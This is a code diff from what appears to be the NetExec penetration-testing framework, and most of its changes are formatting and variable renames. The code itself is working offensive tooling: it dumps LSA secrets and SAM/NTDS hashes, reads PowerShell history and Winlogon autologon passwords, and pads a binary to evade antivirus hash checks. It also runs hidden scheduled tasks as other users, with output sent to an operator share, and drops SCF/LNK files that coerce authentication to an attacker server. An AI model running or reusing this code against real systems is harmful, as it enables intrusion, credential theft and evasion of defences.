if "SECURITY" in self.extracted_files_location_local and self.extracted_files_location_local["SECURITY"] != "":
|
||||
LSA = LSASecrets(
|
||||
self.extracted_files_location_local["SECURITY"],
|
||||
boot_key,
|
||||
remoteOps=None,
|
||||
isRemote=False,
|
||||
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret)
|
||||
)
|
||||
|
||||
try:
|
||||
self.logger.success("LSA Secrets:")
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
except Exception as e:
|
||||
self.logger.fail(e)
|
||||
|
||||
if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "":
|
||||
self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database")
|
||||
|
||||
if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "":
|
||||
self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database")
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1")
|
||||
|
||||
def analyze_NTFS(self, ntfs_header):
|
||||
"""Decode the NTFS headers and extract needed infromation from it"""
|
||||
ntfs_header = ntfs_header[0xB : 0xB + 25 + 48]
|
||||
ntfs_header = ntfs_header[0xB: 0xB + 25 + 48]
|
||||
header_format = "<HBH3BHBHHHIIIQQQIB3BQI"
|
||||
|
||||
data = struct.unpack(header_format, ntfs_header)
|
||||
@@ -316,7 +354,7 @@ class NXCModule:
|
||||
"""Analyze the current MFT records and extract the targeted files if they are present"""
|
||||
MFT_record_indx = 0
|
||||
for curr_record_indx in range(len(curr_data) // 1024):
|
||||
curr_sector = curr_data[curr_record_indx * 1024 : curr_record_indx * 1024 + 1024]
|
||||
curr_sector = curr_data[curr_record_indx * 1024: curr_record_indx * 1024 + 1024]
|
||||
try:
|
||||
curr_MFA_sector_properties = self.analyze_MFT_header(curr_sector)
|
||||
if curr_MFA_sector_properties is None or curr_MFA_sector_properties.filename is None:
|
||||
@@ -431,9 +469,9 @@ class NXCModule:
|
||||
dataRun_len_nBytes = (dataRun[curr_datarun_indx] & 0b11110000) >> 4
|
||||
curr_datarun_indx += 1
|
||||
|
||||
dataRun_len = dataRun[curr_datarun_indx : curr_datarun_indx + dataRun_startingCluster_nBytes]
|
||||
dataRun_len = dataRun[curr_datarun_indx: curr_datarun_indx + dataRun_startingCluster_nBytes]
|
||||
dataRun_len = int.from_bytes(dataRun_len, byteorder="little", signed=False)
|
||||
datarun_startingCluster = dataRun[curr_datarun_indx + dataRun_startingCluster_nBytes : curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes]
|
||||
datarun_startingCluster = dataRun[curr_datarun_indx + dataRun_startingCluster_nBytes: curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes]
|
||||
|
||||
datarun_cluster_loc = int.from_bytes(datarun_startingCluster, byteorder="little", signed=True) + prev_datarun_loc
|
||||
|
||||
@@ -451,12 +489,12 @@ class NXCModule:
|
||||
parsed_header = {}
|
||||
|
||||
while True:
|
||||
curr_header = self.bytes_to_int_unsigned(curr_sector[curr_index : curr_index + 4])
|
||||
curr_header = self.bytes_to_int_unsigned(curr_sector[curr_index: curr_index + 4])
|
||||
if curr_header == 0xFFFFFFFF or curr_header is None:
|
||||
break
|
||||
|
||||
curr_header_len = self.bytes_to_int_unsigned(curr_sector[curr_index + 4 : curr_index + 4 + 4])
|
||||
parsed_header[self.ATTRIBUTE_NAMES[curr_header]] = curr_sector[curr_index : curr_index + curr_header_len]
|
||||
curr_header_len = self.bytes_to_int_unsigned(curr_sector[curr_index + 4: curr_index + 4 + 4])
|
||||
parsed_header[self.ATTRIBUTE_NAMES[curr_header]] = curr_sector[curr_index: curr_index + curr_header_len]
|
||||
curr_index = curr_index + curr_header_len
|
||||
|
||||
return parsed_header
|
||||
@@ -473,13 +511,13 @@ class NXCModule:
|
||||
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
|
||||
|
||||
if "$FILE_NAME" in parsed_header:
|
||||
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58 : 0x58 + 1])
|
||||
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18 : 0x18 + 3] + b"\x00")
|
||||
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
|
||||
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
|
||||
|
||||
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2 : 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
|
||||
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
|
||||
|
||||
if "$DATA" in parsed_header:
|
||||
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20 : 0x20 + 1])
|
||||
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])
|
||||
|
||||
dataRun = parsed_header["$DATA"][dataRun_offset:]
|
||||
curr_MFA_sector.dataRun, curr_MFA_sector.size = self.decode_dataRun(dataRun)
|
||||
@@ -518,7 +556,7 @@ class NXCModule:
|
||||
|
||||
for i in range(num_partition_entries):
|
||||
entry_offset = i * partition_entry_size
|
||||
partition_entry = partition_table_data[entry_offset : entry_offset + partition_entry_size]
|
||||
partition_entry = partition_table_data[entry_offset: entry_offset + partition_entry_size]
|
||||
partition_entries.append(partition_entry)
|
||||
|
||||
return partition_entries
|
||||
|
||||
@@ -16,4 +16,4 @@ class NXCModule:
|
||||
self.pipe = module_options["PIPE"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
+2
-2
@@ -28,13 +28,13 @@ class NXCModule:
|
||||
self.pi = "pi.exe"
|
||||
self.useembeded = True
|
||||
self.pid = self.cmd = ""
|
||||
|
||||
|
||||
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
|
||||
self.pi_embedded = b64decode(pi_file.read())
|
||||
|
||||
# Add some random binary data to defeat AVs which check the file hash
|
||||
self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
|
||||
|
||||
|
||||
if "EXEC" in module_options:
|
||||
self.cmd = module_options["EXEC"]
|
||||
|
||||
|
||||
@@ -30,7 +30,7 @@ class NXCModule:
|
||||
for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"):
|
||||
if file.get_longname() not in self.false_positive:
|
||||
file_path = f"{powershell_history_dir}{file.get_longname()}"
|
||||
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("C$", file_path, buf.write)
|
||||
buf.seek(0)
|
||||
@@ -42,7 +42,7 @@ class NXCModule:
|
||||
context.log.highlight(f"C:\\{file_path}")
|
||||
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
context.log.highlight(f"\t{line}")
|
||||
if self.export:
|
||||
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
|
||||
export_path = join(NXC_PATH, "modules", "powershell_history")
|
||||
|
||||
@@ -15,4 +15,4 @@ class NXCModule:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
@@ -32,7 +32,7 @@ class NXCModule:
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
|
||||
@@ -32,7 +32,7 @@ class NXCModule:
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
|
||||
reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"]
|
||||
for reg_key in reg_keys:
|
||||
try:
|
||||
@@ -42,4 +42,4 @@ class NXCModule:
|
||||
context.log.highlight(f"{reg_key}:")
|
||||
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
remoteOps.finish()
|
||||
remoteOps.finish()
|
||||
@@ -100,7 +100,7 @@ class Modify_Func:
|
||||
lmChallengeResponse = ""
|
||||
|
||||
return ntChallengeResponse, lmChallengeResponse, sessionBaseKey
|
||||
|
||||
|
||||
def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
|
||||
# Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best.
|
||||
if password is None:
|
||||
@@ -129,7 +129,7 @@ class Modify_Func:
|
||||
# Let's start with the original flags sent in the type1 message
|
||||
responseFlags = type1["flags"]
|
||||
|
||||
# Token received and parsed. Depending on the authentication
|
||||
# Token received and parsed. Depending on the authentication
|
||||
# method we will create a valid ChallengeResponse
|
||||
ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge["challenge"])
|
||||
|
||||
@@ -183,7 +183,7 @@ class Modify_Func:
|
||||
else:
|
||||
ntlmChallengeResponse["lanman"] = lmResponse
|
||||
ntlmChallengeResponse["ntlm"] = ntResponse
|
||||
if encryptedRandomSessionKey is not None:
|
||||
if encryptedRandomSessionKey is not None:
|
||||
ntlmChallengeResponse["session_key"] = encryptedRandomSessionKey
|
||||
|
||||
return ntlmChallengeResponse, exportedSessionKey
|
||||
return ntlmChallengeResponse, exportedSessionKey
|
||||
@@ -44,7 +44,7 @@ class NXCModule:
|
||||
context.log.highlight("RunAsPPL disabled")
|
||||
else:
|
||||
context.log.highlight("RunAsPPL enabled")
|
||||
|
||||
|
||||
except DCERPCSessionError as e:
|
||||
context.log.debug(f"Error connecting to RemoteRegistry {e} on host {connection.host}")
|
||||
finally:
|
||||
|
||||
+36
-275
@@ -1,12 +1,6 @@
|
||||
import os
|
||||
import contextlib
|
||||
from time import sleep
|
||||
from datetime import datetime, timedelta
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5 import tsch, transport
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from traceback import format_exc
|
||||
from nxc.protocols.smb.atexec import TSCH_EXEC
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -31,28 +25,28 @@ class NXCModule:
|
||||
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=whoami
|
||||
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='bin.exe --option' BINARY=bin.exe
|
||||
"""
|
||||
self.cmd = self.binary = self.user = self.task = self.file = self.location = self.time = None
|
||||
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = None
|
||||
self.share = "C$"
|
||||
self.tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.tmp_share = self.tmp_dir.split(":")[1]
|
||||
|
||||
if "CMD" in module_options:
|
||||
self.cmd = module_options["CMD"]
|
||||
self.command_to_run = module_options["CMD"]
|
||||
|
||||
if "BINARY" in module_options:
|
||||
self.binary = module_options["BINARY"]
|
||||
self.binary_to_upload = module_options["BINARY"]
|
||||
|
||||
if "USER" in module_options:
|
||||
self.user = module_options["USER"]
|
||||
self.run_task_as = module_options["USER"]
|
||||
|
||||
if "TASK" in module_options:
|
||||
self.task = module_options["TASK"]
|
||||
self.task_name = module_options["TASK"]
|
||||
|
||||
if "FILE" in module_options:
|
||||
self.file = module_options["FILE"]
|
||||
self.output_filename = module_options["FILE"]
|
||||
|
||||
if "LOCATION" in module_options:
|
||||
self.location = module_options["LOCATION"]
|
||||
self.output_file_location = module_options["LOCATION"]
|
||||
|
||||
name = "schtask_as"
|
||||
description = "Remotely execute a scheduled task as a logged on user"
|
||||
@@ -61,31 +55,31 @@ class NXCModule:
|
||||
def on_admin_login(self, context, connection):
|
||||
self.logger = context.log
|
||||
|
||||
if self.cmd is None:
|
||||
if self.command_to_run is None:
|
||||
self.logger.fail("You need to specify a CMD to run")
|
||||
return 1
|
||||
|
||||
if self.user is None:
|
||||
if self.run_task_as is None:
|
||||
self.logger.fail("You need to specify a USER to run the command as")
|
||||
return 1
|
||||
|
||||
if self.binary:
|
||||
if not os.path.isfile(self.binary):
|
||||
self.logger.fail(f"Cannot find {self.binary}")
|
||||
if self.binary_to_upload:
|
||||
if not os.path.isfile(self.binary_to_upload):
|
||||
self.logger.fail(f"Cannot find {self.binary_to_upload}")
|
||||
return 1
|
||||
else:
|
||||
self.logger.display(f"Uploading {self.binary}")
|
||||
with open(self.binary, "rb") as binary_to_upload:
|
||||
self.logger.display(f"Uploading {self.binary_to_upload}")
|
||||
with open(self.binary_to_upload, "rb") as binary_to_upload:
|
||||
try:
|
||||
self.binary_name = os.path.basename(self.binary)
|
||||
connection.conn.putFile(self.share, f"{self.tmp_share}{self.binary_name}", binary_to_upload.read)
|
||||
self.logger.success(f"Binary {self.binary_name} successfully uploaded in {self.tmp_share}{self.binary_name}")
|
||||
self.binary_to_upload_name = os.path.basename(self.binary_to_upload)
|
||||
connection.conn.putFile(self.share, f"{self.tmp_share}{self.binary_to_upload_name}", binary_to_upload.read)
|
||||
self.logger.success(f"Binary {self.binary_to_upload_name} successfully uploaded in {self.tmp_share}{self.binary_to_upload_name}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error writing file to share {self.tmp_share}: {e}")
|
||||
return 1
|
||||
|
||||
# Returnes self.cmd or \Windows\temp\BinToExecute.exe depending if BINARY=BinToExecute.exe
|
||||
self.cmd = self.cmd if not self.binary else f"{self.tmp_share}{self.cmd}"
|
||||
# Returnes self.command_to_run or \Windows\temp\BinToExecute.exe depending if BINARY=BinToExecute.exe
|
||||
self.command_to_run = self.command_to_run if not self.binary_to_upload else f"{self.tmp_share}{self.command_to_run}"
|
||||
self.logger.display("Connecting to the remote Service control endpoint")
|
||||
try:
|
||||
exec_method = TSCH_EXEC(
|
||||
@@ -94,11 +88,6 @@ class NXCModule:
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
self.user,
|
||||
self.cmd,
|
||||
self.file,
|
||||
self.task,
|
||||
self.location,
|
||||
connection.kerberos,
|
||||
connection.aesKey,
|
||||
connection.host,
|
||||
@@ -106,11 +95,16 @@ class NXCModule:
|
||||
connection.hash,
|
||||
self.logger,
|
||||
connection.args.get_output_tries,
|
||||
"C$", # This one shouldn't be hardcoded but I don't know where to retrieve the info
|
||||
connection.args.share,
|
||||
self.run_task_as,
|
||||
self.command_to_run,
|
||||
self.output_filename,
|
||||
self.task_name,
|
||||
self.output_file_location,
|
||||
)
|
||||
|
||||
self.logger.display(f"Executing {self.cmd} as {self.user}")
|
||||
output = exec_method.execute(self.cmd, True)
|
||||
self.logger.display(f"Executing {self.command_to_run} as {self.run_task_as}")
|
||||
output = exec_method.execute(self.command_to_run, True)
|
||||
|
||||
try:
|
||||
if not isinstance(output, str):
|
||||
@@ -122,246 +116,13 @@ class NXCModule:
|
||||
for line in output.splitlines():
|
||||
self.logger.highlight(line.rstrip())
|
||||
|
||||
except Exception as e:
|
||||
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
|
||||
self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
|
||||
with contextlib.suppress(Exception):
|
||||
exec_method.deleteartifact()
|
||||
else:
|
||||
self.logger.fail(f"Failed to execute command: {e}")
|
||||
except Exception:
|
||||
self.logger.debug("Error executing command via atexec, traceback:")
|
||||
self.logger.debug(format_exc())
|
||||
finally:
|
||||
if self.binary:
|
||||
if self.binary_to_upload:
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.binary_name}")
|
||||
context.log.success(f"Binary {self.binary_name} successfully deleted")
|
||||
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.binary_to_upload_name}")
|
||||
context.log.success(f"Binary {self.binary_to_upload_name} successfully deleted")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting {self.binary_name} on {self.share}: {e}")
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__share_name = share_name
|
||||
self.__lmhash = ""
|
||||
self.__nthash = ""
|
||||
self.__outputBuffer = b""
|
||||
self.__retOutput = False
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__remoteHost = remoteHost
|
||||
self.__kdcHost = kdcHost
|
||||
self.__tries = tries
|
||||
self.__output_filename = None
|
||||
self.__share = share
|
||||
self.logger = logger
|
||||
self.cmd = cmd
|
||||
self.user = user
|
||||
self.file = file
|
||||
self.task = task
|
||||
self.location = location
|
||||
|
||||
if hashes is not None:
|
||||
if hashes.find(":") != -1:
|
||||
self.__lmhash, self.__nthash = hashes.split(":")
|
||||
else:
|
||||
self.__nthash = hashes
|
||||
|
||||
if self.__password is None:
|
||||
self.__password = ""
|
||||
|
||||
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
|
||||
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
self.__rpctransport.setRemoteHost(self.__remoteHost)
|
||||
|
||||
if hasattr(self.__rpctransport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
self.__rpctransport.set_credentials(
|
||||
self.__username,
|
||||
self.__password,
|
||||
self.__domain,
|
||||
self.__lmhash,
|
||||
self.__nthash,
|
||||
self.__aesKey,
|
||||
)
|
||||
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
def deleteartifact(self):
|
||||
dce = self.__rpctransport.get_dce_rpc()
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
self.logger.display(f"Deleting task \\{self.task}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
dce.disconnect()
|
||||
|
||||
def execute(self, command, output=False):
|
||||
self.__retOutput = output
|
||||
self.execute_handler(command)
|
||||
return self.__outputBuffer
|
||||
|
||||
def output_callback(self, data):
|
||||
self.__outputBuffer = data
|
||||
|
||||
def get_end_boundary(self):
|
||||
# Get current date and time + 5 minutes
|
||||
end_boundary = datetime.now() + timedelta(minutes=5)
|
||||
|
||||
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
|
||||
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
|
||||
|
||||
def gen_xml(self, command, fileless=False):
|
||||
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<Triggers>
|
||||
<RegistrationTrigger>
|
||||
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
|
||||
</RegistrationTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="LocalSystem">
|
||||
<UserId>{self.user}</UserId>
|
||||
<RunLevel>HighestAvailable</RunLevel>
|
||||
</Principal>
|
||||
</Principals>
|
||||
<Settings>
|
||||
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
||||
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
|
||||
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
|
||||
<AllowHardTerminate>true</AllowHardTerminate>
|
||||
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
||||
<IdleSettings>
|
||||
<StopOnIdleEnd>true</StopOnIdleEnd>
|
||||
<RestartOnIdle>false</RestartOnIdle>
|
||||
</IdleSettings>
|
||||
<AllowStartOnDemand>true</AllowStartOnDemand>
|
||||
<Enabled>true</Enabled>
|
||||
<Hidden>true</Hidden>
|
||||
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
||||
<WakeToRun>false</WakeToRun>
|
||||
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
|
||||
<Priority>7</Priority>
|
||||
</Settings>
|
||||
<Actions Context="LocalSystem">
|
||||
<Exec>
|
||||
<Command>cmd.exe</Command>
|
||||
"""
|
||||
if self.__retOutput:
|
||||
fileLocation = "\\Windows\\Temp\\" if self.location is None else self.location
|
||||
if self.file is None:
|
||||
self.__output_filename = os.path.join(fileLocation, gen_random_string(6))
|
||||
else:
|
||||
self.__output_filename = os.path.join(fileLocation, self.file)
|
||||
if fileless:
|
||||
local_ip = self.__rpctransport.get_socket().getsockname()[0]
|
||||
argument_xml = f" <Arguments>/C {command} > \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2>&1</Arguments>"
|
||||
else:
|
||||
argument_xml = f" <Arguments>/C {command} > {self.__output_filename} 2>&1</Arguments>"
|
||||
|
||||
elif self.__retOutput is False:
|
||||
argument_xml = f" <Arguments>/C {command}</Arguments>"
|
||||
|
||||
self.logger.debug(f"Generated argument XML: {argument_xml}")
|
||||
xml += argument_xml
|
||||
xml += """
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
||||
"""
|
||||
return xml
|
||||
|
||||
def execute_handler(self, command, fileless=False):
|
||||
dce = self.__rpctransport.get_dce_rpc()
|
||||
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
# Give self.task a random string as name if not already specified
|
||||
self.task = gen_random_string(8) if self.task is None else self.task
|
||||
xml = self.gen_xml(command, fileless)
|
||||
|
||||
self.logger.info(f"Task XML: {xml}")
|
||||
self.logger.info(f"Creating task \\{self.task}")
|
||||
try:
|
||||
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
tsch.hSchRpcRegisterTask(dce, f"\\{self.task}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
except Exception as e:
|
||||
if "ERROR_NONE_MAPPED" in str(e):
|
||||
self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
|
||||
with contextlib.suppress(Exception):
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
elif e.error_code and hex(e.error_code) == "0x80070005":
|
||||
self.logger.fail("Create schedule task got blocked.")
|
||||
with contextlib.suppress(Exception):
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
elif "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
|
||||
self.logger.fail(f"User {self.user} does not exist in the domain.")
|
||||
with contextlib.suppress(Exception):
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
elif "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
|
||||
with contextlib.suppress(Exception):
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
elif "ERROR_ALREADY_EXISTS" in str(e):
|
||||
self.logger.fail(f"Create schedule task failed: {e}")
|
||||
else:
|
||||
self.logger.fail(f"Create schedule task failed: {e}")
|
||||
with contextlib.suppress(Exception):
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
return
|
||||
|
||||
done = False
|
||||
while not done:
|
||||
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task}")
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task}")
|
||||
if resp["pLastRuntime"]["wYear"] != 0:
|
||||
done = True
|
||||
else:
|
||||
sleep(2)
|
||||
|
||||
self.logger.info(f"Deleting task \\{self.task}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
|
||||
if self.__retOutput:
|
||||
if fileless:
|
||||
while True:
|
||||
try:
|
||||
with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
|
||||
self.output_callback(output.read())
|
||||
break
|
||||
except OSError:
|
||||
sleep(2)
|
||||
else:
|
||||
smbConnection = self.__rpctransport.get_smb_connection()
|
||||
tries = 1
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("Schtask_as: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'.")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"Schtask_as: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
if "SHARING" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
sleep(3)
|
||||
tries += 1
|
||||
else:
|
||||
self.logger.debug(str(e))
|
||||
|
||||
if self.__outputBuffer:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.deleteFile(self.__share, self.__output_filename)
|
||||
|
||||
dce.disconnect()
|
||||
context.log.fail(f"Error deleting {self.binary_to_upload_name} on {self.share}: {e}")
|
||||
@@ -48,7 +48,7 @@ class NXCModule:
|
||||
|
||||
if not self.cleanup:
|
||||
self.server = module_options["SERVER"]
|
||||
|
||||
|
||||
with open(self.scf_path, "a") as scuf:
|
||||
scuf.write("[Shell]\n")
|
||||
scuf.write("Command=2\n")
|
||||
|
||||
@@ -85,7 +85,7 @@ class NXCModule:
|
||||
resp = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, enumerationContext=enumeration_context)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("STATUS_MORE_ENTRIES") < 0:
|
||||
raise
|
||||
raise
|
||||
resp = e.get_packet()
|
||||
|
||||
for user in resp["Buffer"]["Buffer"]:
|
||||
|
||||
@@ -17,4 +17,4 @@ class NXCModule:
|
||||
self.ipsc = bool(module_options["IPSC"])
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
@@ -15,7 +15,7 @@ class NXCModule:
|
||||
self.action = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
|
||||
|
||||
if "ACTION" not in module_options:
|
||||
context.log.fail("ACTION option not specified!")
|
||||
exit(1)
|
||||
@@ -35,7 +35,7 @@ class NXCModule:
|
||||
|
||||
keyHandle = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
regHandle,
|
||||
"Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\"
|
||||
)["phkResult"]
|
||||
|
||||
@@ -64,7 +64,7 @@ class NXCModule:
|
||||
0
|
||||
)
|
||||
context.log.highlight("Shadow RDP disabled")
|
||||
|
||||
|
||||
# Enable remote UAC
|
||||
if self.action == "enable":
|
||||
rrp.hBaseRegSetValue(
|
||||
|
||||
@@ -43,11 +43,11 @@ class NXCModule:
|
||||
if "NAME" not in module_options:
|
||||
context.log.fail("NAME option is required!")
|
||||
exit(1)
|
||||
|
||||
|
||||
if "SHARES" in module_options:
|
||||
self.shares = module_options["SHARES"].split(",")
|
||||
context.log.debug(f"Shares to write to: {self.shares}")
|
||||
|
||||
|
||||
if "IGNORE" in module_options:
|
||||
self.ignore_shares = module_options["IGNORE"].split(",")
|
||||
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
|
||||
@@ -55,11 +55,11 @@ class NXCModule:
|
||||
if not self.cleanup and "SERVER" not in module_options:
|
||||
context.log.fail("SERVER option is required!")
|
||||
exit(1)
|
||||
|
||||
|
||||
if "ICO_URI" in module_options:
|
||||
self.ico_uri = module_options["ICO_URI"]
|
||||
context.log.debug("Overriding")
|
||||
|
||||
|
||||
self.lnk_name = module_options["NAME"]
|
||||
self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk"
|
||||
self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
|
||||
@@ -74,13 +74,13 @@ class NXCModule:
|
||||
if shares:
|
||||
slinky_logger = context.log.init_log_file()
|
||||
context.log.add_file_log(slinky_logger)
|
||||
|
||||
|
||||
for share in shares:
|
||||
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
|
||||
if self.shares is not None and share["name"] not in self.shares:
|
||||
